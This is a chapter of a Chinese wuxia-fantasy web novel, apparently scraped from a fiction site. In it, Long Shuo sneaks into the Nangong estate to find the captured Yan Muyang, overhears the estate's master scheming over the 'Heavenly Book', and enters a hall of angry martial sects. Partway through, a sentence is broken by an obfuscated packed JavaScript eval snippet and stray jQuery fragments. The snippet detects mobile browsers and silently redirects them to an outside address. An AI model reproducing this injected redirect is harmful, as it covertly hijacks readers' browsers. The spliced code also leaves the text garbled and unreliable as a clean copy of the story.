31.守中堂主
作品:《人间术之风卷燕南》 星月宫的人不战自退,龙烁顿时松了一口气。
“简秋姑娘,多谢你们拔刀相助,日后若有机会一定报答,我还有要事在身,咱们后会有期啊!”,龙烁说着转身便要往锦官城的方向奔去。
“龙公子——”简秋喊住他:“请问一下,你知道南宫府在哪吗?”
龙烁停住脚步,他刚要回答,却听铭文道:“姐姐,你问南宫府干嘛?”
“听说许多人都去了南宫府,我想过去看看!”
“去那干嘛?莫不是你想去找那个叫古辰的小子?”
“不是——”简秋突然红了脸:“你别乱说——”
袁起道:“姐姐要带咱们去哪,咱们便去哪,你又何必多言!”
“不是啊,哥,那地方小孩子又不会去,咱们去干吗呢?”
简秋解释:“刚那个红衣人不是说明天要带人来找咱们麻烦吗?咱们去到人多的地方——也好避难!”
袁起十分赞同:“龙大哥,请问你是否知道南宫府的所在?”
龙烁反问:“这里不是你们的地盘吗?怎么你们还来问我呢?”
简秋道:“你有所不知,家师对我们管教甚严,自小不允许我们出山,去年年底,我们师父寿终正寝驾鹤仙去,我们安顿好她老人家的后事之后才敢下山,上次在巫山“仙人酌”酒肆中一别之后,却没想到能在这里见到你,你这是要去哪里啊龙公子?”
龙烁细细打量这三人,暗觉简秋和袁起这两个孩子教养甚好,铭文那孩子虽然说话直了些,倒也不似有什么坏心眼,我跟他们结伴同行倒也有个照应。于是说道:“啊,实不相瞒,我也正是要去南宫府,我打听到这南宫府在锦官城的西北部,不如咱们一起同行?”
“那太好了龙公子,请你带路!”
四人一口气奔出十几里,仅用一炷香的时间便赶回到了锦官城。
他们顺着官道向西北方向又行个把时辰,终于在傍晚时分赶到了南宫府。
此时街道上人来人往,南宫府的大门却依然紧闭。
环视四周,这座府邸周围景色甚好,不但花团紧簇树木林立,而且三面环山一面傍水,占地面积足足千亩,确实是个清幽僻静的好地方。
只是这南宫府四周围墙甚高,看不到里面的,几人一时间也不知该如何进去。
龙烁带着三人绕到偏门查看,发现这里道路难行人迹罕至,是个翻墙入室的好地方。
四人顺着大树爬上围墙,竟纵身跃了进去。
蹄声得得,一阵嘶鸣之声震耳欲聋,原来几人刚好跳进了南宫府的马厩。
这马厩既广且大,竟然一眼望不到头,映入眼帘的全是五颜六色膘肥体壮的骏马良驹。
龙烁粗略估算,这里至少圈养着三百余匹宝马。
离几人较近的马儿受到惊吓,对着他四人放声嘶鸣,其余马匹随声应和,一时之间,此起彼伏,尽是马匹惊恐的嘶嚎之声。
几人担心引来府内家丁,赶忙跑出马厩,原来外面是南宫府的后花园,离正房尚有很大一段距离。
龙烁带着三人小心绕过一处水榭园林,在一座假山的后面躲了起来。
抬眼望去,西首一处房屋中时不时地有人出入。
那些进进出出的人身上都带有佩刀佩剑,显然便是江湖上的人,他们有的正在吧唧嘴,有的正在剔牙,似乎是刚刚饱餐了一顿。
原来那里是饭堂。
那些江湖人士吃完饭便陆续往东首的一处房屋走去。
龙烁细细瞧去,那房屋的牌匾上赫然写着“守中堂”三个大字,料想那里很可能就是南宫府的会客大厅。
此时龙烁没有任何心情去看热闹,心心念念的只是尽快找到燕沐阳,白泽说他此时正在受刑,也不知道被关在了什么幽深僻静的地方,心下暗自担忧。
“简秋姑娘,我想那里就是南宫老爷的会客大厅了,你们直接进去即可,反正大家都不认识!”
“好!那你呢?”
“我还要寻找一位朋友,他此时正在南宫府——‘做客’,就不陪你们进去了,告辞!”
未等简秋回答,龙烁已经不见了踪影。
铭文兀自疑惑道:“他朋友既然在这里作客,为什么龙大哥不先去会客厅找一找呢?”
此时天色已经全然黑了下来,他孤身在南宫府的林苑中找寻了半个时辰,发现这南宫府中竟然大的离谱。
他挨个房屋细细搜寻,几次险些被家丁发现行踪,好在他足够聪明机敏,学那猫叫犬吠才勉强躲过数劫。
又寻一炷香的功夫,龙烁发现了红叶母亲的卧房,她此时正在训斥枫林,埋怨他办事不力护主不周,又叮嘱他现在府中来了许多不速之客,务必把红叶看好不要让她出来闯祸云云。
龙烁心下一喜,红叶果然被古辰带回来了。
他赶忙又去搜寻别的屋舍,连牛棚鸡舍灶房茅厕都找到了,却仍没有发现燕沐阳和红叶被关的地方。
正在他焦急万分手足无措的时候,忽听一个中年男子的声音隐约从西首的屋舍里传出。
远远望去,那门口的牌匾上赫然写着三个大字——览月堂!
借着纸窗透出来的光亮,龙烁小心翼翼地走到廊下躲在窗外,他嗦嗦手指在窗户上戳出一个小洞,从洞口的缝隙里向内窥视,却见一个坐着轮椅的中年男子正背对着自己与一人交谈。
此人正是亭韵山庄的庄主——谢亭韵。
只听对面那人道:“大哥,你在我府上休整了一天一夜,那痹阻之痛可好些了吗?”
龙烁暗想原来这人便是南宫盈,红叶妹子的父亲!
“盈弟,你别岔开话题!”,谢亭韵怒道:“咱们西南八俊可是拜了把子的兄弟姐妹,曾经立下誓言有福同享有难同当,我让雨儿唤你作叔父,你就如此对待我吗!《天书》一事是你告诉我的,还让我借这次猎奇之争,让天下英雄帮咱们抓捕白泽拿到《天书》,然而猎奇之争开始之后你却不来参与,你是不是早就料到这次猎奇之争凶险非常?你置天下英雄乃至咱们兄弟姐妹的生死安危于不顾,岂不是太也不仁不义了?现在各门各派都死伤惨重,大家都把矛头指向了我,而你却还在这里淡定地享清福——”
“大哥你误会了,今年的猎奇之争你推后了半个月,你这一推迟恰好与我们祭祖之日互相冲突,八月十八是我们祭祖的日子我每年都会去,这大哥你是知道的!”
“哼!”
这理由谢亭韵似乎并不买账。
南宫盈继续道:“大哥,实话跟你说,我大儿子为了追寻小女误入万兽山,被一只饕餮吞进了腹中,这个消息我刚刚知道的时候也悲痛万分,如果我早就知道这次猎奇之争异常凶险,我必会提前通知家里人不得入山!况且,据我所知,咱们兄弟姐妹恰巧都没有入山,你说这不是上天保佑咱们西南八俊吗?”
龙烁心中惊讶:“原来红叶的哥哥南宫啬也已经命丧万兽山!”
“呵!那是因为城东百姓说附近出现妖怪,我担心是万兽山的凶兽跑出来吃人,因此命他们前去猎寻,这才侥幸躲过一劫!”
“噢?万兽山被困兽网重重包围,几百年来从未跑出过一只凶兽,又怎么会突然有凶兽跑出来吃人?”
“我怎会知道!他们到现在尚未回来!这下可好,各门各派都找上门来了,你说怎么办吧!”
“大哥你不必担心,我既让你们安心在这里休息,自然有法子来对付他们!这不,我已经设宴款待大家了!我先安抚下来大家的情绪,再图给大伙儿一个交代!”
“你能给他们什么交代?你以为他们真的是为那些死去的人来讨说法吗?江湖之人图个什么你不知道吗?他们此行的根本目的就是那本《天书》!哎!只可惜我雨儿办事不力,回来途中将其弄丢了,否则的话,用区区一本无字的石书来平息这一场江湖恩怨又有什么不好!”
“大哥你怎么这样说?那本《天书》到底记录了什么武功术法难道你不想知道吗?从前咱们二人一起网罗天下奇功妙术,只要听说谁又创出了新奇术法,咱们便一起设法得到,你那时只要得到一本精妙的武功术法秘籍就高兴的一连几天不睡觉,日夜勤加修炼,只图武功术法能够精进,怎么现在你却变了?”
“过去之事,不提也罢!”,谢亭韵叹一口气:“自从我患上这严重的痹病,一到刮风下雨便会痛不欲生,我被这病痛折磨得已经了无生趣,自觉命不久长,哪里还有心思和你一起去搜罗天下的武功术法秘籍了?”
“既是如此,我也不再勉强大哥!”
“我只是担心,万一哪一天我忽然病逝,我祖上传下的这一片基业和我雨儿怎么办!”
“大哥你尽可放心,雨儿是我的侄儿,无论如何我都会照顾好他,过两日叶儿与雨儿成亲之后,咱们更是亲上加亲!大哥你就不要再多虑了,照顾好自己的身体才是最要紧的!”
“嗯!”
脚步声响,南宫盈似乎从上堂走了下来。
谢亭韵摇着轮椅稍一挪动,龙烁便看清了南宫盈的面貌。
只见一个身高八尺、头戴方巾、修眉阔鼻、一脸须髯的中年男子朝谢亭韵慢慢走去:“大哥,那些人为夺《天书》而来,这一节我早已想到,灵雨侄儿不是说,《天书》是被那个叫燕沐阳的白衣人给偷走了吗?昨夜我派出人手前去捉拿,现下已将那燕沐阳擒获了——”
龙烁一惊,原来古兄本是被南宫盈派来抓捕沐阳兄的,却没想到红叶也在,于是顺带把她也带回去了,只留了我一人在悦仙居!
他悔不当初,攥紧拳头往地上狠狠一捶,懊恼昨晚竟然一点也没发现端倪,轻而易举地便中古辰的圈套被他下了蒙汗药,看来自己还是太年轻了!
龙烁又想,净心这小子肯定是先去冒充沐阳兄去偷了《天书》,又来冒充我去试探沐阳兄,最后一跑了之,将这一口黑锅一股脑地甩给了我二人,把我二人耍得团团转,也算得是心机颇深!
龙烁暗自摇头:“怪只怪我,行走江湖实在是经验太浅!”
“什么?难道《天书》找到了?”,谢亭韵惊喜道。
南宫盈微微摇头。
龙烁心下暗道:“《天书》根本不是被我二人拿走的,你们抓错了人,又怎么会拿到《天书》!况且真正的《天书》其实是白泽的通灵之术,你们就算拿到了那块石头也是无用!”
他转念又想,白泽说它已经把通灵法术传给了我,而自己身体又并没有感到任何变化,也不知道这白泽葫芦里到底卖的是什么药。
“可惜这燕沐阳是一块难啃的骨头!”,南宫盈继续说道:“即使被打得遍体鳞伤,对任何人也不去瞧上一眼,更不吭上一声,不知是个瞎子还是个哑巴——”
龙烁差点急出了声,直想冲进去问:“你们把燕沐阳怎么样了?”,却听一人突然破门而入朗声叫道:“叔父,那人不是瞎子也不是哑巴,你把他藏哪里了?让我去问他——”
正是谢灵雨。
龙烁见他不论走到哪里,背上都负着一套弓箭,威风凛凛霸气十足,不禁有些嫉妒。
“侄儿莫急,我将他藏在了地牢之中,没有我的带路任何人都无法进入,我这就带你去问话!”
“好!”
闻声,龙烁又惊又喜,打算尾随他们进入地牢,设法救出燕沐阳!
忽听一人慌慌张张地从门外跑进来喊道:“老——老——老——老——老爷——不——不——不——不——不好了!”
不知这人是天生的结巴,还是被吓得说不出话,一句“老爷不好了”愣是说了半天。
“怎么了?”,南宫盈皱眉:“你长话短说!”
“他——他——他——他——他们——打——打——打——打——”
这人一边说一边比画,动作比讲话却利索很多。
谢灵雨很不耐烦:“他们打谁了?”
南宫盈道:“他们打起来了?”
“对对对对对对对——”
谢灵雨轻蔑一笑,不再言语。
南宫盈立即转向谢亭韵道:“大哥!你暂且在这里躲避,让灵雨侄儿随我去堂中看看——”
谢亭韵微微点头,南宫盈便带着谢灵雨迅速出了房门。
龙烁大感失落,他现在只想尽快找到燕沐阳,然而没有南宫盈的带路恐怕到天亮也找不到他,无奈只得跟随他们朝着守中堂的方向奔去。
还没到门口,龙烁便远远地听到一阵喧哗之声。
似乎有人在喝彩、有人在劝架、还有人在咆哮。
南宫盈带着谢灵雨从正门走进去后,堂中顿时安静了下来。
龙烁小心翼翼地跟在他们后面,悄无声息地混进了堂中。
这守中堂虽然地方宽广,却是东西南北都挤满了人,只留出中央一小片的空地,似是刚才他们打架的地方。
龙烁四下眺望,发现许多熟悉的身影,青丘派的邓师兄和吕师弟、玉龙帮的张全亮和关武、清风观的那几个年轻人都在其中,简秋和她两个弟弟站在西首不起眼的地方远远观望,还有许多不知名的帮派高手和世家子弟,他们有的持刀有的拿棒,各人都紧紧盯着这守中堂主缓步到上堂。
南宫盈走到上堂,几个年轻人顿时从人群之中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287780|197615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
闪出,他们将长剑收入鞘中,依次站到南宫盈的身后。
其中一人正是古辰。
龙烁一看到他就气不打一处来,直想冲上前去薅住他的脖领将他暴揍一顿,碍于当下人多嘴杂,只得干脆移开了目光不去看他。
红叶曾经提到过她的一干师兄姐弟,此刻一见,他们果然各具特色。
站在南宫盈左手边的是红叶的大师兄丁松,他的右侧大腿缠着绷带,似乎受了伤。
他的肩膀上站着一只古灵精怪的小猴子,两只大大的眼睛滴溜溜乱转,正自好奇地看着这里的一切!
显然他修的是猴语!
站在南宫盈右手边的是红叶的二师兄戴荣,在他的肩膀上站着一只硕大的鹦鹉,它时不时地扑扇着一双大大的翅膀跃跃欲试。
他修的是鸟语!
站在丁松左手边的是红叶的三师姐成馥,她长着一张鹅蛋脸,大大的眼睛深邃而迷人,一把鬼头刀负在身后,风流潇洒自然大方,配上她温柔妩媚的外表,简直是刚中带柔,柔中有刚。
虽然不见她身上有什么可爱的小动物,但是她左边耳朵上的那只大大的耳环引起了龙烁的注意。
那只耳环是一条又细又长的小虫,如蚯蚓一般蜿蜒而上,小虫的嘴巴张得大大的,狠狠地咬在了成馥的耳垂之上,让人忍不住想走上前去问一问她到底疼还是不疼。
站在成馥左手边的是红叶的小师弟陆青,他脸上略带婴儿肥,长得似乎是个不谙人情世故的年轻小伙子,但是他一抹刘海斜跨过额头,像个冷面杀手,大大消除了他身上的那股稚气。
龙烁回过视线,却发现古辰正在惊奇地看着自己,似是在询问:“你怎么跑这儿来了?”,于是眉头骤然紧锁,闷哼一声,又移开了视线。
人群之中一人粗声粗气地喊道:“南宫盈,你终于出来啦!”
众人齐向那说话之人望去,发现这人身高八尺,衣着古怪,雄健的双臂赤裸在外,脖子上还戴着两只金项圈,是个异族的壮士。
这人身子左摇右晃已经喝了不少酒,只见他将手中的一个大酒坛子提在面前晃了晃说道:“看在你好酒好肉招待我们的份上,只要你交出谢亭韵,这久不见客的怠慢之罪咱们就不来跟你计较啦!”,他说着便咕咚咕咚地又喝了起来。
龙烁暗想这人喝得烂醉如泥多半不是为讨说法而来,可能是混进来骗吃骗喝的。
南宫盈捋了捋胡须微微一笑:“今日天下英雄豪杰齐聚在此,令我南宫府蓬荜生辉,在下欢迎之至!各位远道而来便是客,我看你们之中很多都是江湖上成名的人物,其中一些更是在下的朋友,考虑到你们长途跋涉奔波至此必定身困马乏疲惫至极,所以我特意吩咐了下人备上酒菜款待大家,一来是为各位英维接风洗尘,二来呢便是想让大家好好放松一下,好让我南宫盈略尽地主之谊!这次猎奇之争各门各派都损失惨重,连我的爱子也不幸遇难,我很遗憾,也十分惋惜那些因此而丢掉性命的英雄好汉,但是逝者已矣,咱们何不如化干戈为玉帛,化悲愤为动力,日后各位若是有用得着在下的地方,我南宫赢自会尽力而为!”
之前因燕沐阳一事,龙烁对南宫盈心生芥蒂,可是刚刚他这一番话既诚恳又感人,看来他并非是个不明事理之人,那么一会儿说不定还可以找机会前去跟他说明情况,请他把燕沐阳放出来也未可知!
忽听一人尖声叫道:“放屁!就凭你一顿酒饭和几句甜言蜜语就想糊弄过去了吗?他谢亭韵骗我们大伙儿来参加什么狗屁猎奇之争,我哥哥弟弟都在万兽山中丢了性命,这笔账怎么算?”
那人一把大刀握在手中,穿着打扮似是山寨中人。
龙烁见他呼哧呼哧地喘着粗气,怒不可遏的样子十分骇人,似是一定要为他哥哥和弟弟报仇雪恨。
谢灵雨上前喝道:“入山之前我爹爹已经提示过你们,这万兽山中十分危险,若是丢了性命全是你们自己的责任,现在你们又来找我爹爹的麻烦,简直是岂有此理!”
那山寨男子捂着鼻子骂道:“哎呦,老的放屁已经够臭了,没想到小的放屁居然更臭!你老子骗我们说山中有神兽白泽,谁抓到它就能拿到困兽网!白泽到底是个什么东西,又是长什么样子?谁见到了?你见到了吗?你见到了吗?哼!恐怕世界上根本没有什么白泽,你们骗我们进山就是要我们去送死的!我告诉你,就算天下英雄都死光了,你老子也当不上武林至尊——”
谢灵雨大怒:“你嘴巴放干净点,白泽你没见到,我却见到了,玉龙帮的人也见到了,不信你问他们!”,他说着指向张全亮和关武。
张全亮并不搭话。
关武挺身而出:“不错,我们看到了白泽,也拿到了它手中的《天书》,并且将《天书》交还给了谢少庄主——”
龙烁心中暗暗叹服:“关大哥不但善于察言观色,而且还很会踢皮球,他见帮主不愿意蹚这浑水,几句话便把众人的矛头又调转了回去!”
众人一阵嘀咕,互相询问关于《天书》的事情。
那山寨男子疑道:“《天书》是个什么东西?拿出来瞧瞧,若是什么无价之宝,拿来换了钱给大伙儿分分,对我们来说也算是个安慰!”
南宫盈轻笑一声:“这位山大王若只是需要金银珠宝,何须以那《天书》换得,咱们私下商量即可!”
西首一人高声喊道:“我不要金银珠宝,江湖上早有传闻,说那神兽白泽手中的《天书》是个无价之宝,因此他谢亭韵才号召天下英雄捉拿白泽!现在那《天书》是否在谢亭韵手上?让他赶紧交出来,我倒要看看害我师兄惨死的究竟是个什么宝物!”
谢灵雨道:“那就是一块石头而已,上面一个字都没有,根本不是什么宝物!”
“呵!”,南首一人不信:“口说无凭,是骡子是马,拉出来遛遛才知!”
“对!”“就是!”“没错!”众人应和。
南宫盈道:“实不相瞒,《天书》目前并不在我灵雨侄儿手上,至于我大哥谢亭韵,他现在也不方便见客!”
那山寨男子怒喝:“那就别怪我大开杀戒啦,就算挖地三尺我也要把谢亭韵找出来乱刀分尸!”
北首一人嚷道:“南宫老爷,我知道你武艺高强内力深厚,但你若是执意要袒护谢亭韵,就别怪我们不客气了,倘若我们这许多人合力围攻,就算加上你的徒弟们一起,恐怕也占不到什么便宜!”
南宫盈面不改色,厉声道:“在座的诸位英雄,在下扪心自问没有对不住任何人的地方,大家既然都是江湖上有头有脸的人物,我相信各位绝对不会以多欺少,在我南宫府里肆意胡闹!”

